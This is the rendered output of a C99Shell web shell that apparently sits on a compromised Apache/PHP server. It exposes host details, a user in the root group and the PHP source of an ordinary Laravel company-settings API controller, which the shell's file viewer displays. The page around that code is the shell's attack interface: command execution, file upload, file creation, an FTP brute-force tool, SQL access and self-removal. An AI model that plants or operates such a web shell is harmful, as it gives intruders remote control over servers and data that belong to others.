!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/   drwxr-xr-x
Free 27.18 GB of 117.98 GB (23.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompanySettingController.php (6.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package CompanySettingController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-05-2021
 */
namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Models\{
    
Currency,
    
File,
    
Language,
    
Preference,
};
use 
Illuminate\Http\Request;

class 
CompanySettingController extends Controller
{
    
/**
     * Company Setting
     *
     * @param Request $request
     * @return array|array $response
     */
    
public function index(Request $request)
    {
        
$response           = [];
        
$companySettings    Preference::getAll()->where('category''company')->pluck('value''field')->toArray();
        if (
$request->isMethod('get')) {
            
$logo url("public/uploads/companyPic/"$companySettings['company_logo']);
            
$iconurl("public/uploads/companyIcon/"$companySettings['company_icon']);
            unset(
$companySettings['company_logo']);
            unset(
$companySettings['company_icon']);
            
$companySettings['company_logo'] = $logo;
            
$companySettings['company_icon'] = $icon;
            return 
$this->response(['data' => $companySettings]);
        } else if (
$request->isMethod('post')) {
            
$validator Preference::companySettingValidation($request->all());
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }
            
$post $request->only('company_name','site_short_name','company_email','company_phone','company_street','company_city','company_state','company_zip_code','company_country','dflt_lang','dflt_currency_id');
            
$post['company_gstin'] = $request->company_tax_id;
            
$updatedLogo           false;
            
$updatedIcon           false;
            
$path                  createDirectory("public/uploads/companyPic");

            if (!empty(
$request->file('company_logo'))) {
                
$data['companyLogo'] = Preference::getAll()->where('field''company_logo')->where('category''company')->first();
                
$updatedLogo         = (new File)->store([$request->file('company_logo')], $path'Company'$data['companyLogo']->id, ['isUploaded' => false'isOriginalNameRequired' => true'size' => [8080]]);
            }

            if (!empty(
$updatedLogo)) {
                
$lastUploadedLogo File::find($updatedLogo[0]);
                if (!empty(
$lastUploadedLogo)) {
                    
$updatedPreference Preference::updateOrCreate(
                        [
'category' => 'company''field' => 'company_logo'],
                        [
'category' => 'company''field' => 'company_logo''value' => $lastUploadedLogo->file_name]
                    );
                    
$changes           $updatedPreference->getChanges();
                    if (!empty(
$changes) && $changes['value'] == $lastUploadedLogo->file_name) {
                        
$result = (new File)->deleteFiles('Company'$updatedPreference->id, ['ids' => [$lastUploadedLogo->id], 'isExcept' => true], $path);
                    }
                }
            }

            if (!empty(
$request->file('company_icon'))) {
                
$pathOfIcon          createDirectory("public/uploads/companyIcon");
                
$data['companyIcon'] = Preference::getAll()->where('field''company_icon')->where('category''company')->first();
                
$updatedIcon         = (new File)->store([$request->file('company_icon')], $pathOfIcon'Company'$data['companyIcon']->id, ['isUploaded' => false'isOriginalNameRequired' => true]);
            }
            if (!empty(
$updatedIcon)) {
                
$lastUploadedIcon File::find($updatedIcon[0]);
                if (!empty(
$lastUploadedIcon)) {
                    
$updatedPreference Preference::updateOrCreate(
                        [
'category' => 'company''field' => 'company_icon'],
                        [
'category' => 'company''field' => 'company_icon''value' => $lastUploadedIcon->file_name]
                    );
                    
$changes           $updatedPreference->getChanges();
                    if (!empty(
$changes) && $changes['value'] == $lastUploadedIcon->file_name) {
                        
$result = (new File)->deleteFiles('Company'$updatedPreference->id, ['ids' => [$lastUploadedIcon->id], 'isExcept' => true], $path);
                    }
                }
            }
            unset(
$data);
            
$i 0;
            foreach (
$post as $key => $value) {
                
$data[$i]['category'] = 'company';
                
$data[$i]['field']    = $key;
                
$data[$i]['value']    = $value;
                
$i++;
            }
            foreach (
$data as $key => $value) {
                if ((new 
Preference)->storeOrUpdate($value)) {
                    
$response $this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Preference')]));
                }
            }
            
$prefer Preference::getAll()->pluck('value''field')->toArray();
            if (!empty(
$prefer)) {
                
$curr Currency::getDefault();
            }
            
$language     Language::getAll()->where('is_default'1)->first();
            
$languageData = [];
            if (
$request->dflt_lang != $language->short_name) {
                
// update language
                
if (!is_writable(base_path('resources/lang/'))) {
                    
$response $this->response( [], 204,  __('Need writable permission of language directory'));
                }
                
$updateLanguage Language::getAll()->where('short_name'$request->dflt_lang)->first();
                if (empty(
$updateLanguage)) {
                    
$response $this->response([], 204__('The data you are trying to access is not found.'));
                }
                
updateLanguageFile($updateLanguage->short_name);

                
$languageData['is_default'] = 1;
                (new 
Language)->updateLanguage($languageData$updateLanguage->id);
            }
            unset(
$data);
        }
        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--